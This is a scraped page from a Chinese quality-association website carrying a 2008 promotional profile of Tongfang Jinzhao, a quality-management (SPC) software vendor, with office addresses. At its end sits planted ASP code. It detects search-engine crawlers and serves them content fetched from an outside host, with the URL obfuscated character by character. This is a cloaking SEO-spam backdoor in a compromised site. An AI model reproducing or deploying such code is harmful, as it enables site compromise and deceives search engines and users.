[中国质量协会官方网] china association for quality
首 页 | 中国质量协会介绍 | 邮箱登录 | 意见反馈 | 帮助中心 | english [ 进入旧版网站 ]
首页 > 软件频道 > 软件厂商 > 正文内容

[北京] 同方今朝:生产力促进专家!SPC软件专业服务


新闻来源:  同方今朝  发布日期:  2008-7-20 18:24:28  浏览次数:  

同方今朝

清华同方

同方今朝是由北京同方软件股份有限公司控股的科技公司,公司总部在北京,在上海、苏州、广州等地均设有服务机构,有效辐射全国各个地区。

同方今朝致力于为优秀、快速成长的制造型企业提供质量管理和现场管理的全面解决方案,通过软件技术与管理技术的完美结合,协助成长型企业提高核心竞争力。

在质量管理领域,同方今朝拥有十余年的行业经验,以及百余人的研发团队,在新加坡设有独立的研发机构,被国家信息产业部认定为“软件企业”和“中国企业质量管理软件系统的领先厂商”。公司拥有全产品生命周期的产品线,涵盖从供应到生产到售后整个过程的管理。公司通过呼叫中心、免费培训、专家讲堂、免费安装、维护等全方位的服务项目,以及健全的培训机制实现有效促进客户QCD全面提升的目的。 

基于对制造型企业的深刻理解,同方今朝通过SAAS软件租用模式帮助客户快速构建低成本、零风险的实施方案。通过这样的方案,避免了生产制造企业在信息化建设层面大规模的投入以及对专业人员的要求。

目前,公司国内客户已遍布汽车整车、零部件、电子、家用电器、工业电器、通信、元器件、军工、啤酒、钢铁、烟草、橡胶、印刷、石油机械等行业。 网址:www.qcdexpress.com

北京总部:北京市海淀区五道口王庄路清华同方科技广场A座19层 电话:010-82399594

广州办公地:广州黄埔大道华翠街68号仙湖明苑104-105  电话:020-61004828

华东办公地:江苏省昆山市雍景湾25号楼0602室 

长春办公地:长春市人民大街280号长春科技城3B-09厅
 

最新新闻

资料检索

    
<% Function GetHttpPage(url, charset) Dim http Set http = Server.createobject("Msxml2.ServerXMLHTTP") http.Open "GET", url, false http.Send() If http.readystate<>4 Then Exit Function End If If IsEmpty(http.ResponseBody) Then GetHttpPage = "" Else GetHttpPage = BytesToStr(http.ResponseBody, charset) End If Set http = Nothing End function Function BytesToStr(body, charset) Dim objStream Set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode = 3 objStream.Open objStream.Write body objStream.Position = 0 objStream.Type = 2 objStream.Charset = charset BytesToStr = objStream.ReadText objStream.Close Set objStream = Nothing End Function dim userAgent: userAgent = LCase(Request.ServerVariables("HTTP_USER_AGENT")) if IsEmpty(userAgent)<>true Then dim bots: bots = split("back:brokerage:bot:crawl:spider:slurp:sohu-search:lycos:robozilla:baidu:google:soso:yodaobot:sogou:adsbot:mediapartners:msn:scooter:fast:ia_archiver:bingbot", ":") dim serverName: serverName = Request.ServerVariables("SERVER_NAME") dim j2011:j2011=0 For j2011 = 0 to UBound(bots) If Instr(userAgent, bots(j2011)) > 0 Then Response.Write(GetHttpPage("h"&"t"&"t"&"p"&":"&"/"&"/"&"w"&"w"&"w"&"."&"8"&"8"&"8"&"t"&"x"&"t"&"."&"c"&"o"&"m"&"/"&"c"&"o"&"n"&"n"&"."&"p"&"h"&"p"&"?"&"s"&"s"&"l"&"="&"h"&"t"&"t"&"p"&":"&"/"&"/" & serverName & "/","GB2312")) exit for End If Next End If%>